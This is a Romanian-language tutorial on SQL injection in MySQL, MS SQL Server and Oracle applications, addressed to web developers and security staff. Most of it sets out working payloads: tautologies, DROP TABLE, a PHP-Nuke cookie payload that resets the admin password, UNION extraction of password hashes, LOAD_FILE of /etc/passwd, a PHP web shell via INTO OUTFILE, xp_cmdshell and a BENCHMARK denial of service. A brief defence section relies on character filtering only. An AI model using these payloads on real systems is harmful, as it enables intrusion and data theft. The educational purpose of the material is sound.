ATACURILE SQL INJECTION - Bazele SQL-injection

ATACURILE SQL INJECTION

Se stie ca astazi majoritatea aplicatiilor-web isi pastreaza datele in baza de date, deoarece acest fapt permite de a genera dinamic pagini. Aplicatia-web primeste de la utilizatori date, ulterior aceste date sunt folosite de aplicatie/script pentru generarea unei cereri la baza de date. Evident ca in majoritatea cazurilor pentru a genera cereri la baza de date se utilizeaza limbajul SQL (Structured Query Language).

SQL Injection este o vulnerabilitate ce apare in cazurile cind datele primite de la utilizatori nu se prelucreaza corect. Ca consecinta - raufacatorul potential poate schimba cererea la baza de date, asfel fiind posibil furtul datelor private.

Aceasta lucrare reflecta tehnicile simple si avansate ce sunt folosite de raufacatori in procesul de exploatare a vulnerabilitatii SQL Injection. Aceste tehnici demonstreaza cum pot fi cu usurinta obtinut continutul bazelor de date, datele private, realizarea atacului DoS, obtinerea privilegiilor maxime etc. Lucrarea e un studiu care este in primul rind destinat web-programmerilor si expertilor in securitate, pentru a-i atrage atentia la seriozitatea si actualitatea temei abordate.

In lucrare ma voi referi mai mul la aplicatiile ce lucreaza cu SGBD MySQL, MS SQL Server, Oracle deoarece acestea sunt cele mai raspindite. Aceasta nu inseamna ca celelalte SGBD sunt mai securizate.

1. Bazele SQL-injection

Pentru a intelege materialul de mai jos este nevoie de a cunoaste cel putin bazele limbajului de interogare SQL si realizarea lucrului cu bazele de date in PHP/ASP. Sa presupunem ca avem o baza de date ce contine tabelul users de urmatoarea structura:

O interogare ce extrage datele din baza de date poate avea forma:

SELECT * FROM users WHERE name = '$name'

In acest caz valorile din cimpul "name" sunt comparate cu valoarea variabilei "$name". Daca valoarea aceastei variabile a fost obtinuta din parametrii URL sau cookie si nu se prelucreaza la simboluri speciale atunci interogarea la baza de date este vulnerabila. Voi aduce un exemplu simplu cum raufacatorul poate modifica interogarea.Daca variabila $name primeste valoarea su, atunci cerea la baza de date va fi urmatoarea:

SELECT * FROM users WHERE name = 'su'

Interogarea este corecta. Insa, daca valoarea variabilei va primi valoarea aaa' interogarea va deveni incorecta din punct de vedere sintactic, deoarece este prezent un simbol ' in plus:

SELECT * FROM users WHERE name = 'aaa''

Simbolul ' permite de a modifica cererea la baza de date, si nu este unicul simbol ce permite acest lucru (dupa cum veti vedea mai jos). Sa presupunem ca cerea de mai sus o foloseste o aplicatie web pentru a afisa datele private a utilizatorului curent logat. Utilizind simbolul ' raufacatorul cu usurinta poate vedea datele private a tuturor utilizatorilor inregistrati, transmitind una din urmatoarele valori pentru parametrul $name (presupunem ca in sistem sunt inregistrati utilizatorii admin, su si lma0):

random_data' OR name = 'admin
random_data' OR name = 'su
random_data' OR name = 'lma0

Cererile SQL la baza de date vor fi:

SELECT * FROM users WHERE name = 'random_data' OR name = 'admin'
SELECT * FROM users WHERE name = 'random_data' OR name = 'su'
SELECT * FROM users WHERE name = 'random_data' OR name = 'lma0'

Injectarea permite de a extrage datele private a unui utilizator. Raufacatorul la dorinta poate sa obtina datele despre toti utilizatorii transmitind parametrului $name valoarea:

random_data' OR '1' = '1

Cererea cu codul injectat:

SELECT * FROM users WHERE name = 'random_data' OR '1' = '1'

va intoarce toate tuplurile (inregistrarile) din tabelul users.

2. Proceduri de testare a aplicatiilor web la SQL-injection

Procedurile de testare a aplicatiilor web la SQL-injection se reduc la formarea unei liste de parametri cu care lucreaza aplicatia (atit parametrii GET cit si POST), incluzind si parametrii cookie. Apoi acesti parametri se testeaza individual la prelucrarea simbolurilor speciale sau a cuvintelor cheie (de genul WHERE) care ar ajuta la exploatarea vulnerabilitatii.

2.1. Identificarea parametrilor vulnerabili

Sa presupunem ca aplicatia-web este configurata astfel, incit in cazul aparitiei unei erori SQL, in browser va apare textul erorii si posibil o portiune din interogare. Daca raufacatorului i se afiseaza chiar si o portiune de interogare, injectarea codului SQL malicios nu va fi o problema.

Presupunem ca aplicatiei-web i s-a transmis un parametru GET id = aaa':

https://127.0.0.1/inj.asp?id = aaa'

Pentru a determina daca parametrul este vulnerabil este nevoie de a cauta in pagina returnata de server a frazelor de genul "ODBC", "have an error", "SQL syntax", "SQL Server", "MySQL", "Oracle" etc. Exista cazuri cind erorile returnate de server se plaseaza in parametrii ascunsi (hidden input, headers) sau comentarii. In acest caz raufacatorului ii este foarte usor de a injecta un cod SQL malicios:

https://127.0.0.1/inj.asp?id = aaa'; + drop + table + users;--

Ar trebui de mentionat ca nu toate SGBD permit concatenarea interogarilor la baza de date. Este foarte raspindita situatia, cind din textul erorii returnate de server poate fi aflat tipul bazei de date pe care o foloseste aplicatia-web:

Warning: mysql_fetch_object ): supplied argument is not a valid MySQL result
resource in

Textul erorii de mai sus este foarte util raufacatorului la formarea codului SQL malicios specific unui tip de SGBD.

2.2. Identificarea parametrilor vulnerabili in cazurile cind nu se afiseaza erorile

Sa presupunem ca erorile ce apar in cazurile cererilor la baza de date nu se afiseaza. Atunci raufacatorului ii ramine posibilitatea de a determina prezenta vulnerabilitatii dupa comportamentul aplicatiei-web.

Cu o mare probabilitate se poate de spus ca parametrul este vulnerabil cind serverul returneaza erorile 302 (page redirect) si 500 (internal server error). In acest caz raufacatorul va utiliza unele tehnici mai avansate. Pentru a le intelege este nevoie de a cunoaste tipurile de baza SQL. Atributele in SQL pot avea unul din cele 3 tipuri de baza: numerici, sir de caractere sau datetime. Fiecare tip are caracteristicile sale specifice care pot ajuta raufacatorul in procesul de exploatare a vulnerabilitatii. In SQL parametrii numerici se transmit asa cum sunt, iar sirurile de caractere si valorile datetime sunt transmise intre ghilimele (unele SGBD permit transmiterea si a valorilor numerice intre ghilimele):

SELECT * FROM users WHERE id = 5 /* valoare numerica */
SELECT * FROM users WHERE name = 'admin' /* valoare sir de caractere*/

Testarea la SQL Injection a parametrilor numerici este foarte simpla. Voi aduce un exemplu cu 2 cazuri posibile:

https://127.0.0.1/inj.php?id = 5'
https://127.0.0.1/inj.php?id = 6-1
https://127.0.0.1/inj.php?id = 4 + 1

Daca parametrul id este vulnerabil in primul caz va fi generata o eroare SQL (sau o exceptie: error 302, 500 - cind erorile SGBD nu se afiseaza) deoarece cererea:

/ * 1 */ SELECT * FROM users WHERE id = 5'

nu este corecta din punct de vedere sintactic.

Cererile 2a si 2b:

/* 2a */ SELECT * FROM users WHERE id = 6-1
/* 2b */ SELECT * FROM users WHERE id = 4 + 1

se for executa corect si vor da ambele acelasi rezultat (vor extrage tuplul din baza de date cu valoarea variabilei id = 5), indicind la 100% ca parametrul numeric id este vulnerabil.

O tehnica similara se foloseste la testarea parametrilor sir caractere cu exceptia unor diferente: valorile parametrilor se transmit intre ghilimele si concatenarea sirurilor de caractere in diferite SGBD este realizata diferit (MySQL si MSSQL Server foloseste semnul + , iar Oracle - semnul ||). Caracteristicele specifice a unor sau altor SGBD vor fi expuse mai jos.

Procedura de testare a parametrului name:

https://127.0.0.1/inj.php?name = lma0

are deasemenea 2 cazuri posibile.

In primul caz se parametrului i se transmite o valoare care o sa genereze eroare SQL:

https://127.0.0.1/inj.php?name = lm'a0

Cererea SQL ce va genera eroare:

/* 1 */ SELECT * FROM users WHERE name = 'lm'a0'

deoarece este prezent un simbol ' in plus.

Intr-al doilea caz parametrului i se transmite o valoare ce ar indica vulnerabilitatea acestuia:

https://127.0.0.1/inj.php?name = l' + 'ma0

https://127.0.0.1/inj.php?name = lm' + 'a0

Ca rezultat vor fi formate urmatoarele cereri la baza de date:

/* 2a */ SELECT * FROM users WHERE name = 'l' + 'ma0'

/* 2b */ SELECT * FROM users WHERE name = 'lm' + 'a0'

Ambele cereri SQL sunt corecte si returneaza acelasi rezultat.

2.3. Parametrii vulnerabili in cookie

Dupa sum se stie aplicatia-web primeste de la utilizatori date nu numai din cereri GET si POST dar si din cookies. Majoritatea programmerilor-web nici nu presupun ca parametrii primiti din cookies deasemenea pot fi vulnerabili. Voi arata un exemplu pe baza portalului PHP-Nuke versiunea 7.0 care dupa cum se stie este vulnerabil la SQL injection - nu se filtreaza datele din cookie.

Nu voi intra in detalii, doar voi mentiona ca in PHP Nuke, in cookies se pastreaza un sir de caractere de forma base64_encode(login:md5(pass)). Iata o portiune din cookies:

*
admin
YWRtaW46OT ZlNzkyMTg5N jVlYjcyYzk yYTU0OWRkN WEzMzAxMTI6
127.0.0.1/phpnuke/
admin
YWRtaW46 NWY0ZGN jM2I1YWE3NjV kNjFkODMy N2RlYjg4MmNmOTk6
127.0.0.1/phpnuke/
admin
YWRtaW4 6NWY0ZGNjM2I1 YWE3NjVkNjFkODM yN2RlYjg4 MmNmOTk6
127.0.0.1/phpnuke/
admin
YWRtaW46 NWY0ZG NjM2I1YWE3N jVkNjFkOD MyN2RlYjg4MmNmOTk6
127.0.0.1/phpnuke/
admin
YWRtaW46NWY0 ZGNjM2I1YWE3 NjVkNjFkODMyN2Rl Yjg4MmNmOTk6
127.0.0.1/phpnuke/

Sirul de caractere este codificat in base64:

YWRtaW46 OTZlNzkyMTg5NjVlY jcyYzkyYTU0OWRkN WEzMzAxMTI6

Decodificat va fi:

admin:96e792189 65eb72c92a549dd5a330112:

Unde admin - login, 96e79218965eb7 2c92a549dd5a330112 - md5(pass)

(functia hash md5 a parolei), simbolul : este auxiliar.

Voi expune o portiune din cod a fisierului de autorizare a utilizatorilor auth.php:

f(isset($admin) && $admin ! = '') { // daca exista variabila $admin
$admin = base64_decode($admin); // se decodeaza din base64 (din cookie)
$admin = explode(':', $admin); // se imparte sirul in pina si dupa ":"
$aid = '$admin[0]'; // login-ul
$pwd = '$admin[1]'; // md5(parola) - md5 hash din cookie

$sql = 'SELECT pwd FROM ' prefix.'_authors WHERE aid = '$aid''; /

Dupa cum se observa variabila $aid primita din cookie nu se prelucreaza la simboluri speciale si este vulnerabila.

Astfel raufacatorul cu usurinta poate modifica cookies. Plasind in locul sirului de caractere:

caractere:
YWRtaW46O TZlNzkyMTg5NjVlYjcy zkyYTU0OWR kNWEzMzAxMTI6
sirul:
YWRtaW4nOyB1cGRhd GUgbnVrZV9 hdXRob3JzIFNFVCBw d 2Q9J2M5ODY5Z GQwNDA3MTc 4ZjQxZjBlMmE1 NGQxMGI4Nzc1
JyBXSEV RSBhaWQ9J2Fkb WluOjk2ZTc5 MjE4OTY1ZWI3 MmM5Mm E 1NDlkZDVhMzM wMTEyOg = =

Decodificat va fi:

admin';

update nuke_authors SET pwd = 'c9869dd0407178f41 f0e2a54d10b8775'

WHERE aid = 'admin:96e79218965eb7 2c92a549dd5a330112:

Unde c9869dd040 7178f41f0e2a 54d10b8775 este functia hash md5 a parolei 'hacked_password'. Efectul actiunii date - schimbarea parolei administratorului.

3. Metode de atac

Sa presupunem ca raufacatorul a gasit un parametru vulnerabil. Pentru a exploata vulnerablitatea raufacatorul ar trebui aproximativ sa cunoasca tipul cererii SQL in care va fi injectat codul malicios. Cel mai des in aplicatiile-web sunt utilizate 4 tipuri de cereri SQL:

1. SELECT
2. INSERT
3. UPDATE
4. DELETE

Care dintre acestea este folosit intr-un caz concret, poate fi determinat analizind logica si semantica scriptului vulnerabil.

Daca scriptul afiseaza date ce corespund unui identificator anumit, atunci cu o mare probabilitate cererea este de tipul SELECT.

Daca scriptul adauga unele date in baza de date, spre exemplu adaugarea unui comentariu, sau un post in forum - cererea este de tipul INSERT.

Daca scriptul modifica informatia, spre exemplu schimbarea parolei, redactarea postului in forum - cererea este de tipul UPDATE.

Daca are loc stergerea informatiei, spre exemplu anularea accountului, posibil ca cererea este sau de tipul DELETE sau de tipul UPDATE.

Cel mai des sunt intilnite vulnerabilitati in cereri SELECT.

3.1. Injectarea UNION SELECT

Deoarece cel mai des vulnerabile sunt cererile la baza de date de tipul select, raufacatorii in primul rind vor incerca de a injecta clauze UNION SELECT, deoarece in caz de succes raufacatorul va obtine acces la toate tabelele de sistem. In aceste tabele se contine informatia despre structura tuturor bazelor de date de pe server. Mai jos este prezentata lista tabelelor de sistem pentru diferite SGBD:

1. MS SQL Server

INFORMATION_SCHEMA
sysobjects
syscolumns

2. MySQL

mysql.user
mysql.host
mysql.db

3. Oracle

SYS.USER_OBJECTS
SYS.USER_TABLES
SYS.USER_VIEWS
SYS.USER_TAB_COLUMNS
SYS.TAB
SYS.ALL_TABLES

Inainte de a efectua injectarea UNION SELECT raufacatorul ar trebui sa afle numarul de atribute in cererea SQL, tipul fiecarui atribut si denumirea unor tabele de sistem ceea ce se considera greu de realizat in cazurile cind nu se afiseaza erorile in browser. Mai jos este demonstrat ca exista unele tehnici simple care ar solutiona problemele date. Cererea UNION SELECT trebuie sa contina acelasi numar de atribute, iar atributele trebuie sa fie de acelasi tip.

3.1.1. Identificarea numarului de atribute

Mai intii voi arata cit de simplu se afla numarul de atribute in cazul cind se afiseaza erorile in browser. Sa presupunem ca exista urmatoarea vulnerabilitate in aplicatia-web ce utilizeaza SGBD MySQL:

https://127.0.0.1/inj.php?id = 5'

Pentru a afla numarul de atribute raufacatorul va forma cererile:

https://127.0.0.1/inj.php?id = -1' + UNION + SELECT + 0/*
https://127.0.0.1/inj.php?id = -1' + UNION + SELECT + 0, 1/*
https://127.0.0.1/inj.php?id = -1' + UNION + SELECT + 0, 1, 2/*
https://127.0.0.1/inj.php?id = -1' + UNION + SELECT + 0, 1, 2, 3/*

pina ce va disparea mesajul de eroare:

The used SELECT statements have a different number of columns

Logurile MySQL:

mysql> select * from users where id = -1 union select 0;
ERROR 1218: The used SELECT statements have a different number of columns
mysql> select * from users where id = -1 union select 0, 1;
ERROR 1218: The used SELECT statements have a different number of columns
mysql> select * from users where id = -1 union select 0, 1, 2;
ERROR 1218: The used SELECT statements have a different number of columns
mysql> select * from users where id = -1 union select 0, 1, 2, 3;
ERROR 1218: The used SELECT statements have a different number of columns
mysql> select * from users where id = -1 union select 0, 1, 2, 3, 4;
ERROR 1218: The used SELECT statements have a different number of columns
mysql> select * from users where id = -1 union select 0, 1, 2, 3, 4, 5;

+ ---- + ------ + ---------- + ----------- + ------- + ----- ----- ---- +
| id | name| mgroup | password | email | ip_address |
+ ---- + ------ + ---------- + ----------- + ------- + ----- ----- ---- +
| 0 | 1 | 2 | 3 | 4 | 5 |
+ ---- + ------ + ---------- + ----------- + ------- + ----- ----- ---- +
1 row in set (0.00 sec)

In cazul cind erorile cererii SQL nu se afiseaza in browser raufacatorul se va folosi de clauza ORDER BY pina ce va aparea un mesaj de eroare:

https://127.0.0.1/inj.php?id = -1 + ORDER + BY + 1/*
https://127.0.0.1/inj.php?id = -1 + ORDER + BY + 2/*
https://127.0.0.1/inj.php?id = -1 + ORDER + BY + 3/*

Logurile MySQL:

mysql> select * from users where id = -1 order by 1;
Empty set (0.01 sec)
mysql> select * from users where id = -1 order by 2;
Empty set (0.00 sec)
mysql> select * from users where id = -1 order by 3;
Empty set (0.00 sec)
mysql> select * from users where id = -1 order by 4;
Empty set (0.00 sec)
mysql> select * from users where id = -1 order by 5;
Empty set (0.00 sec)
mysql> select * from users where id = -1 order by 6;
Empty set (0.00 sec)
mysql> select * from users where id = -1 order by 7;

ERROR 1054: Unknown column '7' in 'order clause'

Deoarece o cerere de tip SELECT are cel putin un atribut, aceasta tehnica este foarte efectiva. Raufacatorul incrementeaza numarul coloanei dupa care se face sortarea si cind aplicatia-web intoarce o eroare (302 - page redirect sau 500 - internal server error) numarul exact coloanelor se stie.

3.1.2. Identificarea tipului atributelor

Dupa ce se cunoaste numarul de atribute, mai ramine de aflat tipul acestora. In MySQL tipul datelor este foarte usor de determnat deoarece valorile numerice pot fi considerate si ca valori sir de caractere. Insa cind se folosesc SGBD MS SQL Server sau Oracle deseori pentru a solutiona problema data se utilizeaza cuvintul rezervat NULL, deoarece acesta poate avea orice tip.

Presupunind ca numarul de atribute este calculat, raufacatorului ii este foarte usor de a injecta clauza UNION cu toate atributele nule. Adaugarea instructiunii WHERE care intotdeauna va fi evaluata ca falsa garanteaza eliminarea erorilor (unele aplicatii pot sa nu prelucreze valorile NULL).

Voi aduce un exemplu pentru SGBD MS SQL Server (ceea ce este similar cu SGBD Oracle):

https://127.0.0.1/inj.asp?id = -1' + UNION + SELECT + NULL, NULL, NULL, NULL, NULL, NULL + WHERE + 1 = 2--

Acest tip de injectare cu NULL are 2 scopuri. Principalul - de a obtine o cerere cu UNION fara erori. Si cealalta - aceasta cerere nu returneaza nimic, ceea ce dovedeste ca totul lucreaza corect.

Odata ce este formata cererea procesul de identificare a tipurilor atributelor devine trivial. Intr-o iteratie fiecarui atribut se dau valori numerice, sir de caractere sau datetime.

-1' + UNION + SELECT + 1, NULL, NULL, NULL, NULL, NULL + WHERE + 1 = 2--

Nici o eroare - primul atribut este numeric

-1' + UNION + SELECT + 1, 2, NULL, NULL, NULL, NULL + WHERE + 1 = 2--
Eroare
-1' + UNION + SELECT + 1, '2', NULL, NULL, NULL, NULL + WHERE + 1 = 2--
Nici o eroare - al doilea atribut are tipul sir caractere
-1' + UNION + SELECT + 1, '2', 3, NULL, NULL, NULL + WHERE + 1 = 2--
Nici o eroare - al 3-lea atribut este numeric

Astfel, avind toata informatia, datele din tabelele de sistem pot fi obtinute cu succes. Un exemplu de obtinere a datelor din SGBD MySQL:

mysql> select * from users where id = -1 union select 0, 1, 2, mysql.user.password, 4, 5 from mysql.user;

+ ---- + ------ + ---------- + ------------ + ------- + ------------- +
| id | name | mgroup | password | email | ip_address |
+ ---- + ------ + ---------- + ------------ + ------- + ------------- +
| 0 | 1 | 2 | fdsJD83h | 4 | 5 |
+ ---- + ------ + ---------- + ------------ + ------- + ------------- +
1 row in set (0.00 sec)

3.2. Obtinerea unui interpretator de comenzi

Unele SGBD permit extragerea rezultatelor cererii SQL intr-un fisier. Acest lucru permite raufacatorilor de a forma un script care ulterior va fi util pentru controlul total al serverului (spre exemplu un php sau asp shell).

In MySQL extragerea rezultatelor in fisier se face utilizind clauza INTO OUTFILE. Un exemplu simplu ar fi urmatorul:

INSERT '<? system($cmd) ?>' INTO OUTFILE /tmp/shell.php

In MS SQL Server extragerea rezultatelor in fisier putin difera. In componenta cu serverul sunt unele module ce contin proceduri ce usureaza lucrul cu serverul si care pot fi apelate direct din cererea SQL. Una din aceste proceduri - master.dbo.sp_makewebtask - are destinatia aceasta.

O alta metoda de a executa comenzi de sistem pe serverul pe care este instalat SGBD MS SQL Server este utilizarea procedurii master.dbo.xp_cmdshell. Un exemplu de cerere SQL:

EXEC master.dbo.xp_cmdshell 'cmd.exe dir'

3.3. Metode specifice de atac asupra unui anumit tip de SGBD

3.3.1. MySQL

SQL injecion permite de a afla si alte date:

/* baza de date curenta */

select * from users where id = -1 UNION SELECT 0, 1, 2, 3, 4, DATABASE();

/* utilizatorul care a lansat baza de date */

select * from users where id = -1 UNION SELECT 0, 1, 2, 3, 4, USER();

/* versiunea serverului */

select * from users where id = -1 UNION SELECT 0, 1, 2, 3, 4, VERSION();

Daca utilizatorul care a lansat SGBD are drepturi file_priv, atunci raufacatorul poate obtine continutul oricarui fisier de pe server:

https://127.0.0.1/inj.php?id = -1' + UNION + SELECT + 0, 1, 2, 3, 4, 5,

LOAD_FILE('/etc/passwd')/*

O alta metoda de exploatare a vulnerabilitatii este utilizarea functiei char(num) care reintoarce simbolul cu codul ASCII num:

select * from users where id = 9999 union select 0, 1, 2, char(109, 121, 115, 113, 108, 46, 117, 115, 101, 114, 46, 112, 97, 115, 115, 119, 111, 114, 100), 4, 5 from mysql.user

ceea ce este echivalent cu:

select * from users where id = 9999 union select 0, 1, 2, mysql.user.password, 4, 5 from mysql.user

Vulnerabilitatea SQL injection poate fi exploatata si pentru realizarea atacului DoS:

select * from users where id = BENCHMARK(10000000, BENCHMARK(10000000, md5(current_date)))

trimiterea de catre raufacator a citeva cereri de acest fel va face serverul sa frineze considerabil.

3.3.2. MS SQL Server

In baza de date de sistem INFORMATION_SCHEMA se contine informatia despre toate tabelele de pe server.

Extragerea datelor din baza de date poate fi cu usurinta facuta in cazul cind mesajele de erori ODBC se afiseaza in browser. Sa presupunem ca exista o aplicatie-web vulnerabila:

https://127.0.0.1/?page_id = 1'

Pentru inceput raufacatorul va afla denumirile tabelelor din baza de date, astfel va fi formata o cerere SQL malicioasa care ar extrage numele primului tabel:

https://127.0.0.1/?page_id = -1'; SELECT + TOP + 1 + TABLE_NAME + FROM + INFORMATION_SCHEMA.TABLES--

Serverul va reintoarce:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type smallint

Denumirea primului tabel din baza de date este table1. Apoi pentru a afla denumirile celorlalte tabele raufacatorul pe rind va forma urmatoarele cereri:

https://127.0.0.1/?page_id = -1';
SELECT + TOP + 1 + TABLE_NAME + FROM + INFORMATION_SCHEMA.TABLES + WHERE + TABLE_NAME + NOT + IN + ('table1')--

Raspunsul serverului:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table2' to a column of data type smallint

Cererea urmatoare va fi:

https://127.0.0.1/?page_id = -1';
SELECT + TOP + 1 + TABLE_NAME + FROM + INFORMATION_SCHEMA.TABLES + WHERE + TABLE_NAME + NOT + IN + ('table1', 'table2')-

Acest exemplu demonstreaza cit de folositoare de dovedesc a fi mesajele de eroare returnate de server pentru raufacator.

4. Caracteristici tipice a SGBD

4.1. MySQL

Suporta INTO OUTFILE

Majoritatea modulelor si bibliotecilor nu permit executarea cererilor multiple la baza de date

Suporta interogari UNION si JOIN (doar versiunile > = 4.0)

Permite transmiterea valorilor numerice intre ghilimele

4.2. Oracle

1. Suporta subselect
2. Suporta UNION
3. Nu permite executarea cererilor multiple la baza de date
4. Simbolul || se foloseste pentru concatenarea sirurilor de caractere

4.3. MS SQL

1. Suporta subselect
2. Suporta UNION
3. Permite executarea cererilor multiple la baza de date
4. Simbolul + se foloseste pentru concatenarea sirurilor de caractere

5. Metode de aparare

Pentru a evita o posibila exploatare a vulnerabilitatii SQL Injection in aplicatia web, este necesar de a prelucra toate datele ce parvin de la utilizatori la urmatoarele simboluri:

Ghilimelele atit simple cit si duble (', ", `). Cu ajutorul acestora in majoritatea cazurilor se efectuiaza injectarea codului SQL.

Simbolurile de comentarii specifice SGBD anumit (/*, --). Cu ajutorul acestora poate fi omisa o parte din interogare.

Simbolurile ce impart instructiunile SQL (;). Prezenta acestui simbol permite de a forma mai multe cereri la baza de date.

Deasemenea datele ar trebui sa fie verificate la prezenta si la alte simboluri (_, %, *).

In cazul cind in cererea SQL se utilizeaza date numerice primite de la utilizatori, inainte de a le plasa in cererea SQL acestea ar trebui aduse la tipul numeric: $id = (int)$id;

In cazul cind in cererea SQL se utilizeaza date de tip sir de caractere primite de la utilizatori, inainte de a le plasa in cererea SQL acestea ar trebui prelucrate la simboluri speciale. Cea mai buna practica - este formarea expresiilor regulate.

Concluzii

Trebuie de mentionat ca vulnerabilitatile de tipul SQL Injection sunt foarte raspindite. In lucrare am demonstrat ca prezenta vulnerabilitatii date in aplicatia-web ii permite raufacatorului sa afle/extraga informatii despre server, sa obtina un interpretator de comenzi sau chiar sa realizeze un atac DoS.

Pentru a evita prezenta acestei vulnerabilitati este nevoie de a prelucra la simboluri speciale absolut toate datele ce parvin de la utilizatori. In aceasta categorie intra parametrii GET, POST si chiar cookie.